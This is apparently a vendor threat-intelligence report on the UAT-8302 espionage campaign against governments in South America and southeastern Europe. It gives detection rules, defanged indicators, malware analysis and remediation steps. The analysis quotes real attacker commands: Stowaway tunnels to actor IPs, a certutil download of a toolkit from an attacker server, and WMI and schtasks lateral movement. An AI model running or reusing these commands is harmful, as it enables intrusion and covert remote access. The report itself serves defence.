Threat reportAPTTL-2026-0462
UAT-8302 China-Nexus APT Campaign — NetDraft, CloudSorcerer v3, VSHELL/SNOWLIGHT, SNOWRUST, SNAPPYBEE/DeedRAT, ZingDoor, and Draculoader Targeting Government Entities in South America and Southeastern Europe
Cisco Talos disclosed UAT-8302, a sophisticated China-nexus APT targeting government entities in South America since at least late 2024 and government agencies in southeastern Europe in 2025.
Key facts
| Identifiers | TL-2026-0462, CVE-2025-0994 |
|---|---|
| Also known as | UAT-8302 Campaign |
| Severity | HIGH |
| Exploitation status | Linked CVE exploited in the wild; Listed in CISA KEV: CVE-2025-0994 (added ) |
| EPSS | CVE-2025-0994: 31.0% (98.2th percentile) |
| Affected products | Microsoft Windows (endpoints, servers, domain controllers); Microsoft Active Directory / Azure AD Connect (Entra ID Connect); Mobatek MobaXterm SSH client (credential store) |
| Attribution | UAT-8302 (high confidence) |
| Nation-state nexus | China |
| Malware | CloudSorcerer v3, DracuLoader, FringePorch, NetDraft, SNAPPYBEE/DeedRAT, SNOWLIGHT, SNOWRUST, ZingDoor |
| Tools | AD Explorer (ae.exe), MobaXtermDecryptor, SoftEther VPN, Stowaway |
| MITRE ATT&CK techniques | T1003 OS Credential Dumping, T1005 Data from Local System, T1014 Rootkit, T1016 System Network Configuration Discovery, T1018 Remote System Discovery, T1021.002 SMB/Windows Admin Shares, T1027 Obfuscated Files or Information, T1033 System Owner/User Discovery, T1041 Exfiltration Over C2 Channel, T1046 Network Service Discovery, T1047 Windows Management Instrumentation, T1049 System Network Connections Discovery and 28 more in the attack flow |
| Motivation | ESPIONAGE |
| Target sectors | government |
| Target regions | South America, Southeastern Europe |
| Detection rules | 9 (1 shown free) |
| Sources | 11 cited sources |
Detection coverage
As of 2026-05-05, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0462 across Splunk SPL, Microsoft KQL and Sigma, covering 67 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.
Free detection: UAT-8302 whatpc.ps1 Reconnaissance + ReconLiteDebug / RunWhatPC Scheduled Task Persistence (Post-Exploitation)
Detects the UAT-8302 reconnaissance and persistence chain: scheduled task creation (schtasks /create) for tasks named 'ReconLiteDebug', 'RunWhatPC', or 'Runbat' that invoke PowerShell against C:\Windows\Temp\whatpc.ps1 with -ExecutionPolicy Bypass and -WindowStyle Hidden, OR PowerShell processes executing whatpc.ps1 from C:\Windows\Temp\ as SYSTEM. Maps directly to Cisco Talos disclosure of the UAT-8302 reconnaissance subroutine.
- Languages: Splunk SPL, Microsoft KQL, Sigma
- ATT&CK: T1053.005, T1059.001, T1082, T1016, T1135, T1087.002
- Data sources: sysmon, windows_security, windows_powershell, edr_process_creation
- Severity: high
- Confidence: high
Splunk SPL
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 ((Image="*\\schtasks.exe" CommandLine="*/create*" (CommandLine="*ReconLiteDebug*" OR CommandLine="*RunWhatPC*" OR CommandLine="*Runbat*" OR CommandLine="*whatpc.ps1*")) OR (Image="*\\powershell.exe" CommandLine="*whatpc.ps1*" CommandLine="*-ExecutionPolicy*Bypass*" CommandLine="*-WindowStyle*Hidden*") OR (Image="*\\powershell.exe" CommandLine="*\\Windows\\Temp\\whatpc.ps1*")) | eval recon_phase=case(match(CommandLine,"(?i)schtasks.*\/create.*(ReconLiteDebug|RunWhatPC|Runbat)"),"persistence-task-create", match(CommandLine,"(?i)powershell.*whatpc\.ps1"),"recon-script-execution", true(),"unknown") | stats count min(_time) as first_seen max(_time) as last_seen values(User) as users values(ParentImage) as parents values(CommandLine) as command_lines by host, recon_phase | sort - countMicrosoft KQL
let task_names = dynamic(["ReconLiteDebug","RunWhatPC","Runbat"]); DeviceProcessEvents | where Timestamp > ago(24h) | where (FileName =~ "schtasks.exe" and ProcessCommandLine has "/create" and (ProcessCommandLine has_any (task_names) or ProcessCommandLine has "whatpc.ps1")) or (FileName =~ "powershell.exe" and ProcessCommandLine has "whatpc.ps1" and ProcessCommandLine has "-ExecutionPolicy" and ProcessCommandLine has "Bypass") or (FileName =~ "powershell.exe" and ProcessCommandLine has "\\Windows\\Temp\\whatpc.ps1") | extend recon_phase = case(FileName =~ "schtasks.exe", "persistence-task-create", FileName =~ "powershell.exe", "recon-script-execution", "unknown") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, recon_phase, ProcessId, ReportId | summarize count(), arg_min(Timestamp, *) by DeviceName, AccountName, recon_phaseSigma
title: UAT-8302 whatpc.ps1 Reconnaissance Script and ReconLiteDebug Scheduled Task Persistence
id: 8302d002-1111-4abc-9002-aaaaaaaaaaab
status: experimental
description: Detects the UAT-8302 reconnaissance/persistence chain - schtasks creation for ReconLiteDebug/RunWhatPC/Runbat tasks calling whatpc.ps1, or PowerShell executing whatpc.ps1 from Windows\Temp with ExecutionPolicy Bypass and Hidden window.
references:
- https://blog.talosintelligence.com/uat-8302/
author: Threadlinqs Team
date: 2026-05-05
tags:
- attack.persistence
- attack.execution
- attack.discovery
- attack.t1053.005
- attack.t1059.001
- attack.t1082
logsource:
product: windows
category: process_creation
detection:
sel_schtasks:
Image|endswith: '\schtasks.exe'
CommandLine|contains: '/create'
CommandLine|contains:
- 'ReconLiteDebug'
- 'RunWhatPC'
- 'Runbat'
- 'whatpc.ps1'
sel_powershell_recon:
Image|endswith: '\powershell.exe'
CommandLine|contains|all:
- 'whatpc.ps1'
- '-ExecutionPolicy'
- 'Bypass'
sel_powershell_temp:
Image|endswith: '\powershell.exe'
CommandLine|contains: '\Windows\Temp\whatpc.ps1'
condition: sel_schtasks or sel_powershell_recon or sel_powershell_temp
falsepositives:
- Lab simulations using LAB-SIM suffixed task names
- Internal red-team exercises mirroring UAT-8302 tradecraft
level: high
Known false positives:
- Red-team simulations using identical task names — filter on lab suffix conventions
- Legitimate IT scripts named whatpc.ps1 in approved environments (rare, recommend renaming)
- Forensic recovery scripts dropped to Windows\Temp by IR staff
Tuning notes: Add an exclusion for any internal IT account that legitimately runs reconnaissance scripts named whatpc.ps1. Pair with PowerShell ScriptBlockLogging (Event ID 4104) to capture the actual contents of whatpc.ps1 for high-fidelity validation. Consider building a separate alert when the parent process is svchost.exe or the user is SYSTEM, which strongly indicates scheduled-task execution rather than interactive use.
- UAT-8302 SNOWLIGHT / SNOWRUST XOR-0x99 Stager Drop and Side-Loading Triad File Set (Exploitation) · unlock with TL Creds
- UAT-8302 NetDraft Microsoft\Windows\Maps GUID Scheduled Task Persistence + Appunion.exe Drop (Post-Exploitation) · unlock with TL Creds
- UAT-8302 WMI / schtasks Lateral Movement and Impacket-Style Remote Process Creation (C2 / Lateral Movement) · unlock with TL Creds
- UAT-8302 certutil-Staged Toolkit Download from [indicator] — Rar.exe / SoftEther Bundle (Exploitation / Ingress Tool Transfer) · unlock with TL Creds
- UAT-8302 Credential Access Tooling — adconnectdump / MobaXtermDecryptor / SharpGetUserLoginIPRP / AD Explorer Snapshot (Post-Exploitation / Credential Theft) · unlock with TL Creds
- UAT-8302 Backup-Access Tooling — Stowaway / anyproxy / SoftEther VPN with AgreedUponByAllParties Shared Secret (C2 / Proxy) · unlock with TL Creds
- UAT-8302 DLL Side-Loading Triad — [indicator] / [indicator] / d3d8.dll Loaded From Non-System Paths (Exploitation) · unlock with TL Creds
- UAT-8302 C2 Domain and IP Egress — drivelivelime / msiidentity / trafficmanagerupdate / Cloudflare workers.dev / Stowaway IPs (C2) · unlock with TL Creds
Indicators of compromise
As of 2026-05-05, Threadlinqs Intelligence tracks 67 indicators of compromise for TL-2026-0462.
Sample indicators (3 of 67)
- IP address:
85.209.156[.]3 - Domain:
drivelivelime[.]com - File hash:
1139b39d3cc151ddd3d574617cf113608127850197e9695fef0b6d78df82d6ca
Defanged, TLP:CLEAR. Full set of 67 indicators: unlock with TL Creds.
Technical analysis
The actor deploys a portfolio of custom-made malware shared with multiple known China-nexus clusters — NetDraft (a .NET FinalDraft/SquidDoor variant a.k.a. NosyDoor), CloudSorcerer v3, VSHELL with SNOWLIGHT stager and a new Rust-based SNOWRUST stager, SNAPPYBEE/DeedRAT, ZingDoor, and Draculoader — alongside open-source Chinese-language tooling (gogo, QScan, naabu, dddd, Stowaway, MobaXtermDecryptor, SharpGetUserLoginIPRP) for reconnaissance, credential extraction, lateral movement, and proxying.
On 5 May 2026, Cisco Talos researchers Jungsoo An, Asheer Malhotra, and Brandon White published a threat-spotlight disclosure of UAT-8302, a China-nexus advanced persistent threat actor primarily tasked with obtaining and maintaining long-term access to government and related entities worldwide. UAT-8302 has been targeting government entities in South America since at least late 2024 and expanded its targeting to government agencies in southeastern Europe in 2025. Talos assesses with high confidence that UAT-8302 is China-nexus based on heavy malware-portfolio overlap with multiple previously disclosed China-nexus clusters and the use of custom and open-source tooling written in Simplified Chinese.
Initial access methods are not directly observed in this campaign, but the actor's tooling overlaps with APT clusters known to exploit both zero-day and n-day vulnerabilities (e.g., UAT-6382's exploitation of Cityworks zero-day CVE-2025-0994 to deploy VSHELL via SNOWLIGHT). Once inside, UAT-8302 conducts extensive preliminary reconnaissance using Impacket, certutil, nslookup, net.exe, systeminfo, and ipconfig, then escalates to a custom-made PowerShell script ('whatpc.ps1') persisted via scheduled task (e.g., 'ReconLiteDebug', 'RunWhatPC') executing as SYSTEM. The script enumerates local groups and admin membership, network configuration, listening connections, SMB shares, AD users, computers, groups, and trust relationships via nltest, dsmod, and dsquery. Ping sweeps and SMB share-discovery loops over /24 subnets identify proliferation targets, and event logs (Security IDs such as 4768) are queried for administrator activity. Audit policy is enumerated via 'auditpol /get /category:*'. The actor downloads 'gogo' (a GoLang automated network scanner written in Simplified Chinese) directly from its GitHub release URL, alongside QScan, naabu, dddd, PortQry, and httpx.
UAT-8302 collects information using adconnectdump.py for Azure AD Connect / Entra ID Connect credential extraction, manual PowerShell Get-ADUser/Get-ADComputer/Get-ADGroup queries, AD Explorer snapshots packaged with 7zr.exe, and Get-WinEvent log harvests. A Chinese-language tool called 'SharpGetUserLoginIPRP' (deployed as C:\ProgramData\S.exe) extracts login information from domain controllers. MobaXterm credentials are stolen via MobaXtermDecryptor for SSH pivot.
Lateral movement is performed via Impacket and WMI remote process creation ('wmic /node:IP process call create', 'schtasks /S IP'), invoking BAT files that execute the malware on remote systems.
Custom malware deployment uses DLL side-loading triads: a benign signed executable, a malicious DLL loader, and an encoded data file. NetDraft (a .NET-based variant of FinalDraft/SquidDoor; ESET tracks the same family as 'NosyDoor' attributed to LongNosedGoblin; Solar reported NetDraft was used by Erudite Mogwai/LuckyStrike Agent against Russian IT in 2024) embeds a Fody/Costura-compressed .NET helper library Talos tracks as 'FringePorch'. NetDraft uses MS Graph API to communicate with its OneDrive-based C2 and can execute arbitrary commands, run .NET assemblies, perform file operations, and execute .NET plugins. Because NetDraft lacks native persistence, the C2 issues a scheduled-task creation command pointing to 'C:\ProgramData\Microsoft\Microsoft\Appunion.exe'.
CloudSorcerer v3 (an updated version of the malware Kaspersky disclosed in 2024 against Russian government) uses a side-loading triad with executables 'Yandex.exe' and 'VMtools.exe' loading 'mspdb60.dll', which decrypts an INI shellcode file ('test.ini' or 'VM.ini') and injects it into named processes. The shellcode behaves differently per host process: 'dpapimig.exe' gathers system info and listens on a named pipe for commands; 'spoolsv.exe' contacts a GitHub repository or GameSpot profile to obtain C2 information (URL, OneDrive/Dropbox token); 'mspaint.exe' or 'browser' triggers injection back into dpapimig.exe/spoolsv.exe.
VSHELL is delivered via a related triad in which a benign executable side-loads a malicious 'wininet.dll' that reads a BIN file and injects position-independent shellcode into 'explorer.exe'. The shellcode is the SNOWLIGHT stager, which downloads and single-byte XOR-decodes the next stage (key 0x99) — the same single-byte key and stager observed by Talos in UAT-6382's 2025 deliveries. UNC5174 has previously used SNOWLIGHT to download Sliver and VSHELL. UAT-8302 also uses 'SNOWRUST', a Rust-based variant of SNOWLIGHT built on the LexiCrypt Rust shellcode obfuscator that decodes embedded SNOWLIGHT shellcode to download the XOR-encoded VSHELL payload. In one intrusion, UAT-8302 used VSHELL to deploy the System Monitoring filter driver from the Hades open-source HIDS/HIPS framework (written in Simplified Chinese) to register kernel callbacks for process, thread, registry, and file events — enabling event hiding.
In one instance, UAT-8302 deployed SNAPPYBEE/DeedRAT and almost immediately switched to ZingDoor — a DLL-based malware first disclosed by Trend Micro in 2023 and attributed to Earth Estries. ZingDoor has also been observed after ToolShell exploitation in 2025. Draculoader, a generic shellcode loader used by Earth Estries and Earth Naga, was deployed in parallel from 'C:\Documents and Settings\All Users\Microsoft\Crypto\RSA\d3d8.dll'.
For backup access, UAT-8302 sets up Stowaway proxies (a Chinese-language tunneling tool — 'wagent.exe -c 85.209.156.3:56456', 'mmc.exe -l 85.209.156.3:56456 -s <pass>', 'ag531.exe -c 45.135.135.100:443'), anyproxy ('any.exe' in C:\users\public\), and SoftEther VPN clients ('Communicator.exe /usermode' from a Rar-archived bundle staged via certutil from hxxp://38.54.32.244/Rar.exe).
Malware overlap connects UAT-8302 to a web of China-nexus clusters: NetDraft/FinalDraft/Squidoor — Jewelbug/REF7707/CL-STA-0049/LongNosedGoblin; CloudSorcerer — original Kaspersky-disclosed actor; SNOWLIGHT/VSHELL — UAT-6382, UNC5174, UNC6586; SNAPPYBEE/ZingDoor — Earth Estries; Draculoader — Earth Estries and Earth Naga. NetDraft has additionally been observed in operations attributed to Erudite Mogwai (LuckyStrike Agent).
MITRE ATT&CK techniques by tactic:
Credential Access
T1003 OS Credential Dumping; T1555 Credentials from Password Stores; T1558 Steal or Forge Kerberos Tickets
Collection
T1005 Data from Local System; T1560.001 Archive via Utility
Defense Evasion
T1014 Rootkit; T1027 Obfuscated Files or Information; T1055 Process Injection; T1140 Deobfuscate/Decode Files or Information
Discovery
T1016 System Network Configuration Discovery; T1018 Remote System Discovery; T1033 System Owner/User Discovery; T1046 Network Service Discovery; T1049 System Network Connections Discovery; T1069.002 Domain Groups; T1082 System Information Discovery; T1087.002 Domain Account; T1135 Network Share Discovery; T1482 Domain Trust Discovery
Lateral Movement
T1021.002 SMB/Windows Admin Shares; T1570 Lateral Tool Transfer
Exfiltration
T1041 Exfiltration Over C2 Channel; T1567.002 Exfiltration to Cloud Storage
Execution
T1047 Windows Management Instrumentation; T1053.005 Scheduled Task; T1059.001 PowerShell; T1059.003 Windows Command Shell; T1129 Shared Modules
Command and Control
T1071.001 Web Protocols; T1090 Proxy; T1102.001 Dead Drop Resolver; T1102.002 Bidirectional Communication; T1132.001 Standard Encoding; T1572 Protocol Tunneling
command-and-control
Initial Access
T1190 Exploit Public-Facing Application
execution
T1559 Inter-Process Communication
stealth
Resource Development
Remediation
Patches
- Apply latest patches for any internet-facing applications used as initial access vectors by associated clusters (e.g., Cityworks CVE-2025-0994, Microsoft SharePoint ToolShell)
Immediate actions
- Block network IOCs (drivelivelime.com, msiidentity.com, trafficmanagerupdate.com, image.update-kaspersky.workers.dev, 85.209.156.3, 185.238.189.41, 103.27.108.55, 38.54.32.244, 45.140.168.62, 88.151.195.133, 156.238.224.82, 45.135.135.100) at perimeter and DNS layers
- Hunt for the listed file hashes across endpoint telemetry and quarantine matches
- Hunt for scheduled tasks named 'ReconLiteDebug', 'RunWhatPC', 'Runbat', and tasks executing files from C:\Windows\Temp\ or C:\ProgramData\Microsoft\Microsoft\
- Hunt for processes loading mspdb60.dll, wininet.dll side-loaded outside System32, and d3d8.dll under C:\Documents and Settings\All Users\Microsoft\Crypto\RSA\
- Hunt for unauthorized SoftEther 'Communicator.exe', Stowaway agents (wagent.exe, ag531.exe, any.exe), and certutil downloads of Rar.exe / portable archivers
Workarounds
- Disable PowerShell v2 and enforce ConstrainedLanguage where possible to break 'whatpc.ps1' and ad-hoc Get-AD* enumeration
- Disable WMI remote execution for unprivileged accounts and audit schtasks /S /U usage for lateral movement
Longer-term hardening
- Deploy EDR with behavioral detection for DLL side-loading from non-standard paths and process injection into explorer.exe / dpapimig.exe / spoolsv.exe
- Restrict outbound connections to legitimate cloud services (GitHub raw, OneDrive, Dropbox, GameSpot, Cloudflare workers.dev) for non-business endpoints — these are abused as C2 / dead-drop resolvers
- Network-segment domain controllers and audit Azure AD Connect / Entra ID Connect servers for unusual Python execution and adconnectdump-style activity
- Block or alert on use of MobaXterm credential stores from non-administrator workstations and limit interactive admin access to jump hosts
- Implement application allow-listing for /Windows/Temp, /ProgramData, /users/public, and /Documents and Settings/All Users/ prevent execution of dropper artifacts
Affected and fixed versions
- Microsoft — Windows (endpoints, servers, domain controllers)
Vulnerable versions: all currently supported Windows builds in targeted environments - Microsoft — Active Directory / Azure AD Connect (Entra ID Connect)
Vulnerable versions: all - Mobatek — MobaXterm SSH client (credential store)
Vulnerable versions: all versions exposing local credential blob
Timeline
- Kaspersky discloses CloudSorcerer v2 backdoor used in attacks against Russian government entities — base for the v3 variant later deployed by UAT-8302.
- Solar reports NetDraft (FinalDraft .NET variant) deployed by Erudite Mogwai (LuckyStrike Agent) against Russian IT organizations in 2024.
- UAT-8302 begins targeting government entities in South America with NetDraft, CloudSorcerer v3, VSHELL, SNOWLIGHT, and supporting Chinese-language tooling (per Cisco Talos retrospective).
- UAT-6382 exploits Cityworks zero-day CVE-2025-0994 to deploy VSHELL via the SNOWLIGHT stager — same single-byte XOR (0x99) and stager later observed in UAT-8302's intrusions.
- UAT-8302 expands targeting to government agencies in southeastern Europe, deploying SNAPPYBEE/DeedRAT, ZingDoor, and Draculoader alongside the South-American toolset.
- ZingDoor observed deployed by China-nexus actors after successful exploitation of SharePoint ToolShell vulnerabilities, reinforcing the cluster overlap with Earth Estries.
- Cisco Talos publishes the UAT-8302 threat-spotlight blog (Jungsoo An, Asheer Malhotra, Brandon White) with full IOC set, ClamAV signatures, Snort rules, and cluster overlap mapping.
- As of 2026-05-29, UAT-8302 remains an active China-nexus government-espionage campaign, disclosed by Cisco Talos on 2026-05-05 and corroborated by Hacker News, SOC Prime and others with no takedown, arrest, or disruption reported. It has no CVEs of its own to patch, and its shared malware portfolio (NetDraft, CloudSorcerer v3, VSHELL/SNOWLIGHT, ZingDoor) ties to multiple still-active clusters.
Sources cited
- UAT-8302 and its box full of malware Cisco Talos · Vendor report · 2026-05-05
- ESET research on LongNosedGoblin / NosyDoor ESET WeLiveSecurity · Research · 2025-01-01
- Solar 4RAYS reporting on Erudite Mogwai (LuckyStrike Agent) deployment of NetDraft against Russian IT organizations rt-solar.ru · Research · 2024-01-01
- Kaspersky CloudSorcerer disclosure (Russian government targeting, 2024) Kaspersky Securelist · Research · 2024-07-08
- Trend Micro Earth Estries (DeedRAT/SNAPPYBEE and ZingDoor) Trend Micro · Research · 2023-01-01
- UAT-6382 Cityworks zero-day (CVE-2025-0994) exploitation deploying VSHELL via SNOWLIGHT (Cisco Talos) Cisco Talos · Vendor report · 2025-01-01
- UNC5174 SNOWLIGHT / Sliver / VSHELL activity (Mandiant/Google TIG) Google Cloud · Vendor report · 2024-01-01
- Cisco Talos UAT-8302 IOC repository (GitHub) GitHub · Code repository · 2026-05-05
- ChainReactors gogo scanner (Simplified Chinese network scanner) GitHub · Code repository · 2024-01-01
- Hades HIDS/HIPS open-source Windows host monitoring kernel framework (Simplified Chinese) GitHub · Code repository · 2024-01-01
- Fody/Costura .NET embedding framework (used by NetDraft for FringePorch) GitHub · Code repository · 2023-01-01
Other reports on CVE-2025-0994
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Drafted by the Threadlinqs research pipeline from 11 sources; published ; last updated —.